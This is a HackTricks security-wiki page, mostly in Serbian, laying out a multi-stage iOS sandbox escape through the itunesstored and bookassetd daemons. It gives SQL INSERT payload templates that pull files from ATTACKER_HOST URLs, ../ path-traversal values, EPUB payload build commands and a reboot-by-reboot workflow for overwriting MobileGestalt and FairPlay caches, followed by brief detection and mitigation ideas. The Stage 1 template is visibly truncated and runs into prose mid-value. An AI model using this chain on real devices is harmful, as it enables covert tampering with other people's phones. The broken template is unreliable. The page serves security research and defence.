itunesstored & bookassetd Sandbox Escape
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Pregled
Nedavno istraživanje pokazuje da dva preinstalirana iOS daemona, itunesstored (menadžer preuzimanja) i bookassetd (Books / iBooks menadžer sadržaja), slepo veruju korisnički upisivim SQLite metapodacima. Postavljanjem ciljano izrađenih fajlova downloads.28.sqlitedb i BLDatabaseManager.sqlite zajedno sa minimalnim EPUB arhivom, napadač koji može pisati u /var/mobile/Media/ može naterati ove daemone da izvrše proizvoljna upisivanja fajlova na većinu mobile-vlasničkih puteva unutar /private/var/. Ovi primitivni mehanizmi preživljavaju restart uređaja i omogućavaju vam da manipulišete keševima system group-ova kao što je systemgroup.com.apple.mobilegestaltcache kako biste lažirali svojstva uređaja ili perzistirali konfiguraciju.
Ključna svojstva:
- Radi na uređajima do najmanje iOS 26.2b1 (testirano na iPhone 12 / iOS 26.0.1).
- Ciljevi na koje se može pisati uključuju keševe
SystemGroup,/private/var/mobile/Library/FairPlay,/private/var/mobile/Mediai druge fajlove u vlasništvumobile. Pisanja na fajlove u vlasništvurootne uspevaju. - Potrebno je samo AFC-level pristup (USB kopiranje fajlova) ili bilo koja početna kontrola koja vam omogućava da zamenite ciljne SQLite DB-ove i otpremite payload-e.
Model pretnji i zahtevi
- Lokalni pristup fajl sistemu do
/var/mobile/Media/Downloads/i/var/mobile/Media/Books/(putem AFC klijenata kao što su 3uTools, i4.cn, iliafcclientpreko USB-a, ili bilo koje prethodne kompromitacije). - HTTP server koji hostuje napadačeve fajlove (
BLDatabaseManager.sqlite,iTunesMetadata.plist, crafted EPUB) izložen putem URL-ova kao što jehttps://ATTACKER_HOST/fileprovider.php?type=.... - Mogućnost da restartujete uređaj više puta kako bi svaki daemon ponovo učitao svoju bazu podataka.
- Poznavanje Books system-group UUID tako da Stage 1 upis završi u pravom kontejneru (nalazi se preko sysloga).
Stage 1 – Zloupotreba downloads.28.sqlitedb preko itunesstored
itunesstored procesuira /var/mobile/Media/Downloads/downloads.28.sqlitedb. Tabela asset čuva URL + destinacione metapodatke i smatra se pouzdanim ulazom. Kreiranjem reda koji pokazuje na napadačev URL i postavljanjem local_path na .../Documents/BLDatabaseManager/BLDatabaseManager.sqlite unutar Books SystemGroup-a, itunesstored će preuzeti i prepisati Books bazu podataka sadržajem napadača pri pokretanju.
Pronađite Books SystemGroup UUID
- Sakupite syslog arhivu pomoću
pymobiledevice3:
pymobiledevice3 syslog collect logs.logarchive
- Otvorite
logs.logarchiveu Console.app i potražitebookassetd [Database]: Store is at file:///private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite. - Zabeležite
<UUID>i zamenite ga u SQL payload-u.
Maliciozni asset red
Stage 1 INSERT template
```sql INSERT INTO "main"."asset" ( "pid","download_id","asset_order","asset_type","bytes_total", "url","local_path","destination_url","path_extension","retry_count", "http_method","initial_odr_size","is_discretionary","is_downloaded", "is_drm_free","is_external","is_hls","is_local_cache_server", "is_zip_streamable","processing_types","video_dimensions", "timeout_interval","store_flavor","download_token","blocked_reason", "avfoundation_blocked","service_type","protection_type", "store_download_key","etag","bytes_to_hash","hash_type","server_guid", "file_protection","variant_id","hash_array","http_headers", "request_parameters","body_data","body_data_file_path","sinfs_data", "dpinfo_data","uncompressed_size","url_session_task_id" ) VALUES ( 1234567890,6936249076851270150,0,'media',NULL, 'https://ATTACKER_HOST/fileprovider.php?type=sqlite', '/private/var/containers/Shared/SystemGroup/Polja koja su bitna:
url: endpoint pod kontrolom napadača koji vraća zlonamerniBLDatabaseManager.sqlite.local_path: Books system-groupBLDatabaseManager.sqlitefajl određen gore.- Kontrolne zastavice: zadržite podrazumevane vrednosti (
asset_type='media',path_extension='epub', booleovi postavljeni na 0/1 kao u šablonu) tako da daemon prihvati zadatak.
Raspoređivanje
- Obrišite zastarele unose u
/var/mobile/Media/Downloads/*da biste izbegli trke. - Zamenite
downloads.28.sqlitedbnapravljenom DB preko AFC. - Reboot →
itunesstoredpreuzima Stage 2 bazu i ispušta/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist. - Kopirajte taj plist u
/var/mobile/Media/Books/iTunesMetadata.plist; Stage 2 očekuje da se nalazi na toj lokaciji.
Stage 2 – Zloupotreba BLDatabaseManager.sqlite preko bookassetd
bookassetd poseduje šira fajl-sistem ovlašćenja i veruje tabeli ZBLDOWNLOADINFO. Ubacivanjem lažnog reda kupovine koji referencira URL-ove napadača i traversal u ZPLISTPATH, daemon preuzima vaš EPUB u /var/mobile/Media/Books/asset.epub i kasnije raspakuje metapodatke u bilo koji put u vlasništvu mobile dostupan kroz ../../.. sekvence za bekstvo.
Zlonamerni ZBLDOWNLOADINFO red
Šablon INSERT-a za Stage 2
```sql INSERT INTO "ZBLDOWNLOADINFO" ( "Z_PK","Z_ENT","Z_OPT","ZACCOUNTIDENTIFIER","ZCLEANUPPENDING", "ZFAMILYACCOUNTIDENTIFIER","ZISAUTOMATICDOWNLOAD","ZISLOCALCACHESERVER", "ZISPURCHASE","ZISRESTORE","ZISSAMPLE","ZISZIPSTREAMABLE", "ZNUMBEROFBYTESTOHASH","ZPERSISTENTIDENTIFIER","ZPUBLICATIONVERSION", "ZSERVERNUMBEROFBYTESTOHASH","ZSIZE","ZSTATE","ZSTOREIDENTIFIER", "ZSTOREPLAYLISTIDENTIFIER","ZLASTSTATECHANGETIME","ZPURCHASEDATE", "ZSTARTTIME","ZARTISTNAME","ZARTWORKPATH","ZASSETPATH", "ZBUYPARAMETERS","ZCANCELDOWNLOADURL","ZCLIENTIDENTIFIER", "ZCOLLECTIONARTISTNAME","ZCOLLECTIONTITLE","ZDOWNLOADID", "ZDOWNLOADKEY","ZENCRYPTIONKEY","ZEPUBRIGHTSPATH","ZFILEEXTENSION", "ZGENRE","ZHASHTYPE","ZKIND","ZMD5HASHSTRINGS","ZORIGINALURL", "ZPERMLINK","ZPLISTPATH","ZSALT","ZSUBTITLE","ZTHUMBNAILIMAGEURL", "ZTITLE","ZTRANSACTIONIDENTIFIER","ZURL","ZRACGUID","ZDPINFO", "ZSINFDATA","ZFILEATTRIBUTES" ) VALUES ( 1,2,3,0,0,0,0,'',NULL,NULL,NULL,NULL, 0,0,0,NULL,4648,2,'765107108',NULL, 767991550.119197,NULL,767991353.245275,NULL,NULL, '/private/var/mobile/Media/Books/asset.epub', 'productType=PUB&salableAdamId=765107106&...', 'https://p19-buy.itunes.apple.com/...', '4GG2695MJK.com.apple.iBooks','Sebastian Saenz','Cartas de Amor a la Luna', '../../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library', NULL,NULL,NULL,NULL,'Contemporary Romance',NULL,'ebook',NULL,NULL,NULL, '/private/var/mobile/Media/Books/iTunesMetadata.plist',NULL, 'Cartas de Amor a la Luna','https://ATTACKER_HOST/fileprovider.php?type=gestalt', 'Cartas de Amor a la Luna','J19N_PUB_190099164604738', 'https://ATTACKER_HOST/fileprovider.php?type=gestalt2',NULL,NULL,NULL,NULL ); ```Važna polja:
ZASSETPATH: on-disk EPUB location controlled by the attacker.ZURL/ZPERMLINK: attacker URLs hosting the EPUB and auxiliary plist.ZPLISTPATH:../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library– the path traversal base appended to files extracted from the EPUB. Adjust traversal depth to reach the desired SystemGroup target.- Purchase metadata (
ZSTOREIDENTIFIER, names, timestamps) oponašaju legitimne unose tako da daemon ne odbaci red.
Nakon kopiranja zlonamernog DB-a u /private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite (zahvaljujući Stage 1) i restartovanja sistema dva puta, bookassetd će (1) preuzeti EPUB, (2) obraditi ga i upisati izvedeni plist pod traversiranom putanjom.
Kreiranje EPUB Payload-a
bookassetd poštuje EPUB ZIP format: mimetype mora biti prvi nekompresovani unos. Da biste mapirali sadržaj EPUB-a u MobileGestalt cache, izgradite strukturu direktorijuma koja preslikava željenu putanju relativno u odnosu na ZPLISTPATH.
Caches/
├── mimetype
└── com.apple.MobileGestalt.plist
Kreirajte arhivu:
zip -X0 hax.epub Caches/mimetype
zip -Xr9D hax.epub Caches/com.apple.MobileGestalt.plist
mimetypetipično sadrži literalapplication/epub+zip.Caches/com.apple.MobileGestalt.plistsadrži payload pod kontrolom napadača koji će završiti na.../Library/Caches/com.apple.MobileGestalt.plist.
Orchestration Workflow
- Prepare files na napadačevom HTTP serveru i pripremite oba SQLite DB-a sa vrednostima specifičnim za host/UUID.
- Replace
downloads.28.sqlitedbna uređaju i restartujte → Stage 1 preuzima maliciozniBLDatabaseManager.sqlitei emituje/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist. - Copy
iTunesMetadata.plistu/var/mobile/Media/Books/iTunesMetadata.plist(ponovite ako daemon obriše). - Reboot again →
bookassetdpreuzimaasset.epubu/var/mobile/Media/Books/koristeći Stage 2 metadata. - Reboot a third time →
bookassetdobrađuje preuzeti asset, slediZPLISTPATHi upisuje sadržaj EPUB-a u ciljanu SystemGroup putanju (npr.com.apple.MobileGestalt.plist). - Verify čitanjem prepisanog plist-a ili uočavanjem da se svojstva izvedena iz MobileGestalt (model identifier, activation flags, itd.) odgovarajuće menjaju.
Isti obrazac omogućava da ubacite fajlove u druge keševe u vlasništvu mobile, kao što su FairPlay state ili persistence direktorijumi, omogućavajući prikriveno menjanje bez potrebe za kernel exploit.
Tooling & Operational Notes
pymobiledevice3 syslog collect logs.logarchive– izvucite log arhive kako biste otkrili Books SystemGroup UUID.- Console.app – filtrirajte za
bookassetd [Database]: Store is at ...da biste otkrili tačan put kontejnera. - AFC clients (
afcclient, 3uTools, i4.cn) – push/pull SQLite DBs i plist fajlove preko USB bez jailbreak. zip– primenite EPUB ograničenja redosleda prilikom pakovanja payloads.- Public PoC – https://github.com/hanakim3945/bl_sbx sadrži osnovne SQLite/EPUB template-e koje možete prilagoditi.
Detection & Mitigation Ideas
- Smatrajte
downloads.28.sqlitedbiBLDatabaseManager.sqlitenepouzdanim ulazom: validirajte dalocal_path/ZPLISTPATHostanu unutar odobrenih sandboksa i odbacite fully qualified paths ili traversal tokens. - Pratite AFC writes koji zamenjuju ove baze podataka ili neočekivana preuzimanja pokrenuta od strane
itunesstored/bookassetdubrzo nakon podizanja sistema. - Ojačajte raspakivanje
bookassetdtako što ćete pozvatirealpath()nad ciljem izlaza i osigurati da ne može da izađe iz Books containera pre upisa fajlova. - Ograničite AFC / USB kanale za kopiranje fajlova ili zahtevajte korisničku interakciju pre nego što dozvolite zamenu Books/iTunes metadata fajlova.
References
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks

